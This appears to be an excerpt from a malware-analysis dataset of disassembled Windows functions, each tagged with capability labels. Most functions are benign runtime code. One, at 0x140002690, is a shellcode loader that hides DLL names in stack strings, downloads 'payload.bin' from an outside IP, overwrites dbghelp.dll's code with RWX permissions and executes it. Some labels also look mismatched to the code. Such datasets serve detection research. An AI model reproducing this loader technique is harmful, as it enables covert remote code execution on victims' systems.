joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140025bc0
Capabilities:
Query environment variable

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3c8], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
mov rax, qword [rdx]
mov qword [rbp + 0x3c0], rax
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor ebx, ebx
xor edi, edi
xor r12d, r12d
cmp r8, 0x201
jae 0x140025c50
jmp 0x140025c3f
jae 0x140025d17
cmp r8, 0x201
jae 0x140025c50
mov esi, 0x200
lea r13, [rbp - 0x60]
mov r15, r8
jmp 0x140025ca8
sub r8, r12
sub rdi, r12
cmp rdi, r8
jae 0x140025c7f
lea rcx, [rbp + 0x3c8]
mov rdx, r12
call fcn.140040770
mov rax, qword [rbp + 0x3c8]
mov qword [rbp + 0x3e8], rax
mov rbx, qword [rbp + 0x3d0]
mov eax, 0xffffffff
cmp rbx, rax
mov r12d, 0xffffffff
cmovb r12, rbx
mov qword [rbp + 0x3d8], r12
mov rdi, rbx
mov rsi, r12
mov r13, qword [rbp + 0x3e8]
mov r15, r12
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, qword [rbp + 0x3c0]
mov rdx, r13
mov r8d, r15d
call qword [sym.imp.kernel32.dll_GetEnvironmentVariableW]
mov r14d, eax
test eax, eax
jne 0x140025cd8
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x140025d7b
mov r8d, r14d
cmp r15, r8
jne 0x140025c30
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140025d9e
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
cmovae r15, rax
mov r8, r15
cmp r8, 0x201
jb 0x140025c3f
jmp 0x140025c50
cmp rsi, r8
jb 0x140025db8
lea rcx, [rbp + 0x3a0]
mov rdx, r13
call fcn.14002f3c0
movups xmm0, xmmword [rbp + 0x3a0]
movups xmm1, xmmword [rbp + 0x3b0]
mov rax, qword [rbp + 0x3e0]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
test rbx, rbx
je 0x140025d66
mov rcx, qword [0x1400b04c8]
xor edx, edx
mov r8, qword [rbp + 0x3e8]
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rcx, qword [rbp + 0x3e0]
mov qword [rcx], rax
mov byte [rcx + 0x18], 2
test rbx, rbx
jne 0x140025d50
jmp 0x140025d66
lea rcx, str.internal_error:_entered_unreachable_codelibrary_std_srcpanic.rs
lea r8, str.library_std_src_syswindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
call fcn.14003fb20
jmp 0x140025dcd
lea rax, str.library_std_src_syswindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.14003fe30
ud2
Function at 0x140025f40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rdi, rdx
mov rsi, rcx
movzx ebp, byte [rdx + 0x38]
cmp bpl, 1
ja 0x140025f9d
movzx ebx, byte [rdi + 0x3a]
mov rcx, rdi
call fcn.140025e20
test bpl, bpl
jne 0x140025fa1
lea rcx, [rdi + 0x10]
xor r8d, r8d
cmp byte [rdi + 0x10], 6
cmove rcx, r8
je case.0x140025f91.2
movzx edx, byte [rcx]
mov r8d, 6
lea r9, [0x140026114]
movsxd rdx, dword [r9 + rdx*4]
add rdx, r9
jmp rdx
mov r8, qword [rcx + 0x10]
add r8, 4
jmp case.0x140025f91.2
xor eax, eax
xor ebx, ebx
xor r8d, r8d
movzx r10d, bl
movzx ebx, al
lea rcx, [r10 + rbx]
add rcx, r8
mov rdx, qword [rdi + 8]
cmp rdx, rcx
jb 0x1400260f8
mov r11, qword [rdi]
lea rax, [r11 + rcx]
cmp rdx, rcx
jne 0x140025fd8
movzx r9d, byte [rdi + 0x10]
xor r10d, r10d
jmp 0x140026059
movzx r9d, byte [rdi + 0x10]
add r8, rbx
add r8, r10
sub r8, rdx
inc r8
lea rdi, [rdx + r11]
dec rdi
xor r10d, r10d
cmp r9b, 3
jae 0x140026020
nop dword [rax]
cmp byte [rdi], 0x5c
je 0x14002603b
inc r8
dec rdi
cmp r8, 1
jne 0x140026000
jmp 0x140026059
movzx ebx, byte [rdi]
cmp ebx, 0x2f
je 0x14002603b
cmp ebx, 0x5c
je 0x14002603b
inc r8
dec rdi
cmp r8, 1
jne 0x140026020
jmp 0x140026059
neg r8
add rcx, r8
inc rcx
cmp rdx, rcx
jb 0x140026106
add r11, rcx
mov r10d, 1
mov rax, r11
sub rdx, rcx
je 0x140026082
mov cl, 9
cmp rdx, 2
je 0x140026086
cmp rdx, 1
jne 0x140026095
cmp byte [rax], 0x2e
jne 0x140026095
xor ecx, ecx
cmp r9b, 3
setae cl
lea ecx, [rcx + rcx*2]
add ecx, 7
jmp 0x140026095
mov cl, 0xa
jmp 0x140026095
cmp byte [rax], 0x2e
jne 0x140026095
cmp byte [rax + 1], 0x2e
sete cl
xor cl, 9
add r10, rdx
mov qword [rsi], r10
mov byte [rsi + 8], cl
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], rdx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov rdx, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x20]
lea r8, [rcx + 1]
test rcx, rcx
cmove r8, rcx
add r8, rdx
add r8, 8
jmp case.0x140025f91.2
mov rdx, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x20]
lea r8, [rcx + 1]
test rcx, rcx
cmove r8, rcx
add r8, rdx
add r8, 2
jmp case.0x140025f91.2
mov r8d, 2
jmp case.0x140025f91.2
lea r8, str.library_std_srcpath.rs
call fcn.14003feb0
ud2
lea r8, str.library_std_srcpath.rs
call fcn.14003feb0
ud2

Function at 0x140029340
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp - 8], 0xfffffffffffffffe
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
mov edx, 0x10
call qword [sym.imp.advapi32.dll_SystemFunction036]
test al, al
je 0x140029383
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
add rsp, 0x80
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x30], rax
lea rax, [0x14002aaf0]
mov qword [rbp - 0x28], rax
lea rax, str.fallback_RNG_broken:
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 1
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
lea rdx, str.library_std_src_syswindows_rand.rs
lea rcx, [rbp - 0x60]
call fcn.14003fa10
ud2
Function at 0x140035a38
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140035828
Function at 0x140038aa0
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.kernel32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140038ad0
xor eax, eax
jmp 0x140038b93
mov rbp, rbx
cmp word [rax], si
je 0x140038af5
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140038adc
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140038ad8
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400389f0
movsxd r14, eax
test eax, eax
jne 0x140038b33
mov rcx, rbx
call qword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
jmp 0x140038ac9
mov rcx, r14
call fcn.140039954
mov rdi, rax
test rax, rax
jne 0x140038b4c
xor ecx, ecx
call fcn.140037080
jmp 0x140038b28
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400389f0
test eax, eax
jne 0x140038b7d
mov rcx, rdi
call fcn.140037080
jmp 0x140038b87
xor ecx, ecx
call fcn.140037080
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14003c05c
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140037af4
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14003c0e6
cmp byte [rbp - 0x21], r15b
je 0x14003c0e1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14003c11c
call fcn.14003a174
test eax, eax
jne 0x14003c108
cmp byte [rbp - 0x21], r15b
je 0x14003c100
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14003c11c
cmp byte [rbp - 0x21], r15b
je 0x14003c119
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400370d0
test eax, eax
jne 0x14003c1bc
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140037af4
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14003c15b
cmp byte [rbp - 0x21], r15b
je 0x14003c190
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14003c190
call fcn.14003a174
test eax, eax
jne 0x14003c17c
cmp byte [rbp - 0x21], r15b
je 0x14003c175
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14003c190
cmp byte [rbp - 0x21], r15b
je 0x14003c18d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400370d0
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14003c1bc
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14003c1bf
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14003c1cd
mov rcx, rdi
call fcn.140037080
cmp byte [rbp + 0x3f], r15b
je 0x14003c1dc
mov rcx, qword [rbp + 0x27]
call fcn.140037080
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x6d7d9e40
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6d7fb5e4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x6d7d9fc8
mov rax, qword [0x6d7fb5e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6d7d9e8c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6d7d9f15
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6d7d9e70
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6d7d9ffd
mov rax, qword [0x6d7fb5e8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6d7fb5e8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6d7d9fe0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6d7d9f0e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6d7d9f70
add dword [0x6d7fb5e4], 1
cmp edi, 8
jae 0x6d7d9f43
test dil, 4
jne 0x6d7d9fb4
test edi, edi
je 0x6d7d9f38
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6d7d9fcf
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6d7d9f38
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6d7d9f5c
jmp 0x6d7d9f38
add rsi, qword [0x6d7fb5e8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6d7d9f0e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6d7d9f38
xor esi, esi
jmp 0x6d7d9e97
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6d7d9f38
mov rax, qword [0x6d7fb5e8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x6d7da750
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6d7fb8c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6d7fb8a0]
test rbx, rbx
je 0x6d7da7a4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6d7da79b
test rsi, rsi
je 0x6d7da79b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6d7da780
lea rcx, [0x6d7fb8c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x6d7da9e0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6d7da9f0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6d7daa00
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6d7daa41
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6d7daa38
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6d7daa43
add rax, 0x28
cmp rax, r9
jne 0x6d7daa24
xor eax, eax
ret

Function at 0x6d7daae0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d7f81f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6d7dab4d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d7dab4d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d7dab4d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d7dab44
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d7dab4f
add rax, 0x28
cmp rax, r9
jne 0x6d7dab30
xor eax, eax
add rsp, 0x28
ret

Function at 0x6d7dac50
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d7f81f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6d7dac70
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d7dac68
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d7daccd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d7dacc4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d7dacd4
add rax, 0x28
cmp rax, r9
jne 0x6d7dacb0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6d7dacf0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6d7f81f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6d7dad5e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d7dad5e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6d7dad5e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6d7dad5e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6d7dad55
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6d7dad65
add rcx, 0x28
cmp rcx, rax
jne 0x6d7dad40
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6d7dad78
jmp 0x6d7dad5e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6d7dad86
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6d7dad5e
test r9d, r9d
jg 0x6d7dad70
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6d7db0c0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140002690
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings

Disassembly:
jmp 0x140002690
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0xc8
mov rax, qword [0x14008b0d0]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rcx, qword [rsp + 0xe8]
mov rcx, qword [rcx]
call fcn.140001221
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0x1c
jbe 0x1400026d6
xor eax, eax
jmp 0x140002878
mov byte [rsp + 0x50], 0x6c
mov byte [rsp + 0x51], 0x6c
mov byte [rsp + 0x52], 0x64
mov byte [rsp + 0x53], 0x2e
mov byte [rsp + 0x54], 0x70
mov byte [rsp + 0x55], 0x74
mov byte [rsp + 0x56], 0x74
mov byte [rsp + 0x57], 0x68
mov byte [rsp + 0x58], 0x6e
mov byte [rsp + 0x59], 0x69
mov byte [rsp + 0x5a], 0x57
mov byte [rsp + 0x5b], 0
lea rcx, [rsp + 0x50]
call fcn.140001249
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x20], rax
lea r9, str.payload.bin
mov r8d, 0x118
lea rdx, str.27.124.44.10
lea rcx, [rsp + 0x90]
call fcn.140001217
lea rdi, [rsp + 0xa0]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x80]
lea rsi, [rsp + 0xa0]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x30]
lea rsi, [rsp + 0x80]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp qword [rsp + 0x30], 0
je 0x140002876
mov byte [rsp + 0x68], 0x6c
mov byte [rsp + 0x69], 0x6c
mov byte [rsp + 0x6a], 0x64
mov byte [rsp + 0x6b], 0x2e
mov byte [rsp + 0x6c], 0x70
mov byte [rsp + 0x6d], 0x6c
mov byte [rsp + 0x6e], 0x65
mov byte [rsp + 0x6f], 0x68
mov byte [rsp + 0x70], 0x67
mov byte [rsp + 0x71], 0x62
mov byte [rsp + 0x72], 0x64
mov byte [rsp + 0x73], 0
lea rcx, [rsp + 0x68]
call fcn.140001249
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
je 0x14000284a
mov rcx, qword [rsp + 0x60]
add rcx, 0x1000
lea r9, [rsp + 0x78]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
add rcx, 0x1000
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x30]
call fcn.140007ae0
mov rcx, qword [rsp + 0x30]
call fcn.140007ab0
mov rcx, qword [rsp + 0x60]
add rcx, 0x1000
call fcn.140007a00
jmp 0x140002876
lea r9, [rsp + 0x7c]
mov r8d, 0x20
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
add rcx, 0x1000
call fcn.140007a00
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140006990
add rsp, 0xc8
pop rdi
pop rsi
ret
Function at 0x14000a047
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14008b0d0]
jne 0x1400069aa
rol rcx, 0x10
test cx, 0xffff
jne 0x1400069a6
repz ret
ror rcx, 0x10
jmp 0x140009fa0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14008cd70]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x14008ce68]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14000a025
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14008cd70]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000a047
mov rax, qword [rsp + 0x88]
mov qword [0x14008ce68], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14008ce08], rax
mov rax, qword [0x14008ce68]
mov qword [0x14008cce0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14008cdf0], rax
mov dword [0x14008ccd0], 0xc0000409
mov dword [0x14008ccd4], 1
mov rax, qword [0x14008b0d0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14008b0d8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14008cd68], eax
mov ecx, 1
call fcn.140013a10
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400766a0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14008cd68], 0
jne 0x14000a0ce
mov ecx, 1
call fcn.140013a10
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1400043a4
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x1400043d2
xor eax, eax
jmp 0x1400044b8
cmp qword [rcx + 0x68], 0
je 0x1400043e3
call fcn.1400044d4
jmp 0x1400044b8
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400043fa
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400043fc
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000442e
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.140022f90
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x1400044b2
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x140004465
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x14000448e
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14000da94
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x1400044b2
cmp rsi, rbx
ja 0x14000446c
test rsi, rsi
je 0x1400044b2
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14000da94
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x1400063ac
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400063f6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400063f6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400063f6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400063f6
cmp dword [rcx + 0x84], 0xe
